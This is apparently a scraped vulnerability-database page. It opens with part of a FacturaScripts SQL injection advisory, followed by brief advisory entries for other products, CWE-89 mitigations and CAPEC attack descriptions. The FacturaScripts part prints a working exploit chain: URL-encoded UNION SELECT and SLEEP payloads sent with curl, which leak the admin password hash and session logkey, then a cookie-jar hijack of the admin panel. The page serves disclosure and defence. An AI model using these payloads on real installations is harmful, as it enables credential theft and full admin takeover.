URL=\u0027http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n    {\n        \"cifnif\": \"$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO\",\n```\n\nStep 2 - leak the admin\u0027s `logkey` (the value of the `fsLogkey` cookie that gates web sessions):\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n    {\n        \"cifnif\": \"HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW\",\n```\n\nStep 3 - hijack the admin\u0027s web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:\n\n```\n$ cat \u003e /tmp/fs-hijack \u003c\u003cEOF\n# Netscape HTTP Cookie File\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsNick\tadmin\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsLogkey\tHyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsLang\ten_EN\nEOF\n$ curl -s -b /tmp/fs-hijack \"http://127.0.0.1:8081/AdminPlugins\" -o /tmp/admin.html -w \"%{http_code}\\n\"\n200\n$ grep -oE \u0027\u003ctitle\u003e[^\u003c]*\u003c/title\u003e\u0027 /tmp/admin.html\n\u003ctitle\u003ePlugins\u003c/title\u003e\n```\n\nTime-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:\n\n```\n$ curl -s \"http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz\" -H \"Token: low-scoped-token-clientes-only\"\n[]\n$ # observe two-second wall-clock delay; mysqld general log shows\n$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = \u0027zz\u0027 LIMIT 1 OFFSET 0\n```\n\nThe `attachedfiles` route (`Core/Controller/ApiAttachedFiles.php`) is identically affected because it carries its own copy of `getWhereValues`:\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n    {\n        \"date\": \"01-01-1970\",\n        \"filename\": \"$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO\",\n```\n\n## Impact\n\n* **Cross-resource confidentiality breach.** A token granted GET on a single low-value resource (e.g. `clientes` for an integration that imports customers) reads any column from any table in the schema, including `users.password`, `users.logkey`, `users.two_factor_secret_key`, `api_keys.apikey`, `emails_sent.body`, customer financial data, etc. `getApiFieldsToHide()` only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.\n* **Full admin takeover.** The leaked `logkey` is the value of the `fsLogkey` cookie that `Core/Base/Controller::privateCore` accepts as the session token (`User::verifyLogkey` is a plain string equality, `Core/Model/User.php:403-406`). Setting `fsNick=admin` and `fsLogkey=\u003cleaked\u003e` on any HTTP client returns 200 on every admin endpoint, including `/AdminPlugins` (install arbitrary plugin code), `/EditUser?code=admin` (rotate the admin password), `/EditEmpresa` (data-plane writes), `/Cron` (server-side code execution via cron job extension).\n* **Stealthy.** Successful UNION queries do not produce `Tools::log()-\u003eerror` entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker\u0027s queries leave no FacturaScripts log trail. The `api_keys` row is touched by the normal `updateActivity()` write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.\n* **Reachable from internet.** API access is on by default once the operator either sets `FS_API_KEY` or flips `Default -\u003e Enable API` in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.\n* **The same primitive lets an attacker rewrite data.** Because `(` `)` exemption is in `Where::sqlColumn` itself, write paths that build `WHERE` clauses from caller-controlled identifiers are equally exposed; the attacker can instead use `UPDATE ... WHERE` style payloads via stacked queries on engines that allow them, or use `SELECT ... INTO OUTFILE` on MySQL installations with `FILE` privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact `H` for these reasons.\n\n`AV:N` (network), `AC:L` (one HTTP GET, no oracle, no specific timing), `PR:L` (any non-`fullaccess` ApiKey with one allowed resource), `UI:N`, `S:C` (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), `C:H I:H A:H`. Score `9.9`. The `S:C` (scope change) is appropriate because the privilege boundary the attacker crosses is the operator\u0027s intent of \"this token can only read clientes\", which the API contract explicitly enforces in its 403 response on `/users`. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).\n\n## Recommended Fix\n\nThe bug is squarely in `Core/Where.php::sqlColumn`. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in `Core/Lib/ExtendedController/BaseController::autocompleteAction` (commit `b8aa78b`).\n\n1. **Replace the parenthesis presence test with a structural parser.** `Where::sqlColumn` should refuse anything that is not one of: a bare identifier (matching `^[a-zA-Z_][a-zA-Z0-9_]*(\\.[a-zA-Z_][a-zA-Z0-9_]*)?$`), `LOWER(\u003cident\u003e)`, `UPPER(\u003cident\u003e)`, `CAST(\u003cident\u003e AS \u003ctype\u003e)`, or `COALESCE(\u003cident\u003e, \u003cliteral\u003e)`. The grammar already exists in `DbQuery::orderBy` (lines 289-307) and just needs to be reused. Anything else is escaped through `db()-\u003eescapeColumn()` (which already handles dotted identifiers correctly):\n\n   ```php\n   private static function sqlColumn(string $field): string\n   {\n       $field = trim($field);\n\n       // bare identifier or table.column\n       if (preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?$/\u0027, $field)) {\n           return self::db()-\u003eescapeColumn($field);\n       }\n\n       // limited expression whitelist (mirrors DbQuery::orderBy)\n       if (preg_match(\u0027/^(LOWER|UPPER)\\(([a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?)\\)$/i\u0027, $field, $m)) {\n           return strtoupper($m[1]) . \u0027(\u0027 . self::db()-\u003eescapeColumn($m[2]) . \u0027)\u0027;\n       }\n\n       if (preg_match(\u0027/^CAST\\(([a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\\)$/i\u0027, $field, $m)) {\n           return \u0027CAST(\u0027 . self::db()-\u003eescapeColumn($m[1]) . \u0027 AS \u0027 . $m[2] . \u0027)\u0027;\n       }\n\n       // legacy prefixes\n       if (str_starts_with($field, \u0027integer:\u0027)) {\n           return self::db()-\u003ecastInteger(substr($field, 8));\n       }\n       if (str_starts_with($field, \u0027lower:\u0027)) {\n           return \u0027LOWER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n       }\n       if (str_starts_with($field, \u0027upper:\u0027)) {\n           return \u0027UPPER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n       }\n\n       // refuse anything else\n       throw new Exception(\u0027Invalid column expression: \u0027 . $field);\n   }\n   ```\n\n   The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for `\u0027(...)\u0027` style identifiers across the codebase shows zero hits in `Core/`.\n\n2. **Validate filter keys at the API ingress.** Even after (1), the API `getWhereValues` should refuse identifiers that are not bare columns, mirroring `BaseController::autocompleteAction:258-261`:\n\n   ```php\n   foreach ($filter as $key =\u003e $value) {\n       $field = $key;\n       // strip operator suffixes (existing code) ...\n\n       if (!preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?$/\u0027, $field)) {\n           Tools::log(\u0027api\u0027)-\u003ewarning(\u0027api: invalid filter field name: \u0027 . $field);\n           continue;                                            // skip the bad filter\n       }\n\n       // ... remaining code\n   }\n   ```\n\n   Apply the same patch to `ApiAttachedFiles::getWhereValues:172-239`. This is defence-in-depth - the actual fix is (1) - but matches the project\u0027s existing hardening pattern from commit `b8aa78b`.\n\n3. **Rotate session tokens on detected SQL injection attempts.** Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call `Cron::log` to throttle the originating IP and queue a rotation of `User::logkey` for any user whose `password` or `logkey` columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user\u0027s password and assume credentials in the database have been read.\n\nA regression test should issue `GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x` with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that `Tools::log(\u0027api\u0027)-\u003eread()` contains the new \"invalid filter field name\" warning.",
  "id": "GHSA-5qmh-x653-g8qj",
  "modified": "2026-07-14T17:11:06Z",
  "published": "2026-07-14T17:11:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-5qmh-x653-g8qj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`"
}

GHSA-5QMW-W9CG-68JH

Vulnerability from github – Published: 2025-04-03 09:32 – Updated: 2025-04-03 09:32
VLAI
Details

A vulnerability has been found in PHPGurukul Boat Booking System 1.0 and classified as critical. This vulnerability affects unknown code of the file /add-subadmin.php. The manipulation of the argument sadminusername leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-3147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-03T07:15:41Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in PHPGurukul Boat Booking System 1.0 and classified as critical. This vulnerability affects unknown code of the file /add-subadmin.php. The manipulation of the argument sadminusername leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-5qmw-w9cg-68jh",
  "modified": "2025-04-03T09:32:15Z",
  "published": "2025-04-03T09:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3147"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nabiland/cve/issues/2"
    },
    {
      "type": "WEB",
      "url": "https://phpgurukul.com"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.303052"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.303052"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.525388"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5QP7-4XMP-929C

Vulnerability from github – Published: 2022-05-17 03:26 – Updated: 2022-05-17 03:26
VLAI
Details

SQL injection vulnerability in the Solution Engine in Cisco Secure Access Control Server (ACS) 5.7(0.15) allows remote authenticated users to execute arbitrary SQL commands via a crafted URL, aka Bug ID CSCuw24700.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-6345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-10-30T10:59:00Z",
    "severity": "MODERATE"
  },
  "details": "SQL injection vulnerability in the Solution Engine in Cisco Secure Access Control Server (ACS) 5.7(0.15) allows remote authenticated users to execute arbitrary SQL commands via a crafted URL, aka Bug ID CSCuw24700.",
  "id": "GHSA-5qp7-4xmp-929c",
  "modified": "2022-05-17T03:26:58Z",
  "published": "2022-05-17T03:26:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6345"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20151023-acs"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1033967"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5QPW-8P73-JM26

Vulnerability from github – Published: 2022-05-27 00:01 – Updated: 2022-05-29 00:00
VLAI
Details

CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/Links/del.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-29681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-26T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/Links/del.",
  "id": "GHSA-5qpw-8p73-jm26",
  "modified": "2022-05-29T00:00:37Z",
  "published": "2022-05-27T00:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chshcms/cscms/issues/35#issue-1209058818"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5QPX-JR89-72GW

Vulnerability from github – Published: 2024-10-25 18:30 – Updated: 2024-10-25 21:31
VLAI
Details

SQL Injection vulnerability in Best courier management system in php v.1.0 allows a remote attacker to execute arbitrary code via the email parameter of the login request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-25T16:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "SQL Injection vulnerability in Best courier management system in php v.1.0 allows a remote attacker to execute arbitrary code via the email parameter of the login request.",
  "id": "GHSA-5qpx-jr89-72gw",
  "modified": "2024-10-25T21:31:27Z",
  "published": "2024-10-25T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baineoli/CVE/blob/main/2024/courier%20management%20system%20-%20SQL%20Injection%20%28Admin%20Login%29.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5QQ7-MWF3-HG8R

Vulnerability from github – Published: 2025-04-04 12:30 – Updated: 2025-04-04 12:30
VLAI
Details

A vulnerability classified as critical was found in PHPGurukul Online Fire Reporting System 1.2. Affected by this vulnerability is an unknown functionality of the file /admin/edit-guard-detail.php. The manipulation of the argument editid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-3239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-04T11:15:40Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in PHPGurukul Online Fire Reporting System 1.2. Affected by this vulnerability is an unknown functionality of the file /admin/edit-guard-detail.php. The manipulation of the argument editid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-5qq7-mwf3-hg8r",
  "modified": "2025-04-04T12:30:21Z",
  "published": "2025-04-04T12:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JunGu-W/cve/issues/4"
    },
    {
      "type": "WEB",
      "url": "https://phpgurukul.com"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.303265"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.303265"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.546598"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5QQR-P9X8-HPMV

Vulnerability from github – Published: 2022-07-08 00:00 – Updated: 2022-07-16 00:00
VLAI
Details

Inout Homestay v2.2 was discovered to contain a SQL injection vulnerability via the guests parameter at /index.php?page=search/rentals.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-32055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-07T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Inout Homestay v2.2 was discovered to contain a SQL injection vulnerability via the guests parameter at /index.php?page=search/rentals.",
  "id": "GHSA-5qqr-p9x8-hpmv",
  "modified": "2022-07-16T00:00:34Z",
  "published": "2022-07-08T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigb0x/CVEs/blob/main/Inout-Homestay-2-2-sqli.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5QR4-P3V5-GGG7

Vulnerability from github – Published: 2022-05-02 03:55 – Updated: 2022-05-02 03:55
VLAI
Details

SQL injection vulnerability in the Kunena Forum (com_kunena) component 1.5.3 and 1.5.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the func parameter to index.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-4550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-01-04T17:30:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in the Kunena Forum (com_kunena) component 1.5.3 and 1.5.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the func parameter to index.php.",
  "id": "GHSA-5qr4-p3v5-ggg7",
  "modified": "2022-05-02T03:55:43Z",
  "published": "2022-05-02T03:55:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4550"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/36245"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/9408"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/36020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.